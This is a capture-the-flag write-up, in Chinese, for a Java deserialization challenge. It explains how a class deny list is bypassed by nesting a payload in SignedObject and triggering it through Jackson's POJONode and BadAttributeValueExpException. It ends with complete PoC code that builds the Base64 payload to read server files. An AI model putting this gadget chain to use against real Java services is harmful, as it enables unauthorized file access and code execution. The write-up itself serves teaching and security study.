二次反序列化
2023巅峰极客BabyURL
题目给了jar包,反编译以后项目结构:
在IndexController里有反序列化入口:
@GetMapping({"/hack"})
@ResponseBody
public String hack(@RequestParam String payload) {
//将传进的参数进行base64解码
byte[] bytes = Base64.getDecoder().decode(payload.getBytes(StandardCharsets.UTF_8));
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
try {
//对ObjectInputStream进行了重写
ObjectInputStream ois = new MyObjectInputStream(byteArrayInputStream);
//反序列化
URLHelper o = (URLHelper) ois.readObject();
System.out.println(o);
System.out.println(o.url);
return "ok!";
} catch (Exception e) {
e.printStackTrace();
return e.toString();
}
}
进入MyObjectInputStream:
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
String className = desc.getName();
String[] denyClasses = {"java.net.InetAddress", "org.apache.commons.collections.Transformer", "org.apache.commons.collections.functors", "com.yancao.ctf.bean.URLVisiter", "com.yancao.ctf.bean.URLHelper"};
for (String denyClass : denyClasses) {
if (className.startsWith(denyClass)) {
throw new InvalidClassException("Unauthorized deserialization attempt", className);
}
}
return super.resolveClass(desc);
}
该类中对resolveClass方法进行了重写,对一些类进行了过滤。
无法直接进行反序列化,但是可以进行二次反序列化。
SignedObject二次反序列化
该类是java.security下的一个类,SignedObject包含了另一个Serializable对象。
其中的getObject()
方法,包含了反序列化操作。
//Object类传入恶意的序列化对象
public SignedObject(Serializable object, PrivateKey signingKey,
Signature signingEngine)
throws IOException, InvalidKeyException, SignatureException {
// creating a stream pipe-line, from a to b
ByteArrayOutputStream b = new ByteArrayOutputStream();
ObjectOutput a = new ObjectOutputStream(b);
// write and flush the object content to byte array
a.writeObject(object);
a.flush();
a.close();
//content是恶意对象的序列化字节数组
this.content = b.toByteArray();
b.close();
// now sign the encapsulated object
this.sign(signingKey, signingEngine);
}
//在getObject方法中对content进行反序列化,从而触发恶意代码执行
public Object getObject()
throws IOException, ClassNotFoundException
{
// creating a stream pipe-line, from b to a
ByteArrayInputStream b = new ByteArrayInputStream(this.content);
ObjectInput a = new ObjectInputStream(b);
Object obj = a.readObject();
b.close();
a.close();
return obj;
}
接下来的问题是如何触发getObject方法。触发get方法的反序列化链有很多,写题时要根据特定的环境选择用合适的反序列化链。
POJONode#toString调用get方法
Jackson序列化触发get的流程:
ObjectMapper#writeValueAsString方法将对象序列化成一个json串
public static void main(String[] args) throws JsonProcessingException {
Person person = new Person("zhangsan");
ObjectMapper mapper = new ObjectMapper();
String str = mapper.writeValueAsString(person);
System.out.println(str);
}
运行结果如下:
Person类的getName方法被执行。
调用栈如下:
serializeAsField:689, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std)
serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser)
_serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
_writeValueAndClose:4568, ObjectMapper (com.fasterxml.jackson.databind)
writeValueAsString:3821, ObjectMapper (com.fasterxml.jackson.databind)
关键类和方法:
DefaultSerializerProvider#serializeValue
findTypedValueSerializer
从缓存中获取对应的序列化器,没有则创建,这里传入的是一个自己定义的普通类,因此返回的是一个BeanSerializer
类
BeanSerializer#serialize
进行json串构造
调用writeStartObject
和writeEndObject
方法分别写入左大括号和右大括号。serializeFields
方法则是对类的字段进行解析。
调用对应属性的get方法,得到属性值。
那么POJONode#toString
方法和get
方法的调用有什么关系呢?Java里还有一个BadAttributeValueExpException
类,该类的readObject
方法可以调用指定类的toString
。因此本题构造的反序列化链为:BadAttributeValueExpException#readObject
->POJONode#toString
->SignedObject#getObject
最终PoC
public static String filepath="xxx/xxx/xxx";
public static void main(String[] args) throws Exception {
URLHelper handler = new URLHelper("File:///");
// URLHelper handler = new URLHelper("File:///flag");
handler.visiter = new URLVisiter();
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(handler, privateKey, signingEngine);
POJONode node = new POJONode(signedObject);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val, "val", node);
ser(val);
}
public static void ser(Object obj) throws IOException {
// ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(filePath));
// objectOutputStream.writeObject(obj);
// objectOutputStream.close();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
}
public static void setFieldValue(Object obj, String field, Object val) throws Exception{
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
在/hack路径下传生成的payload,再访问/file可以看到回显。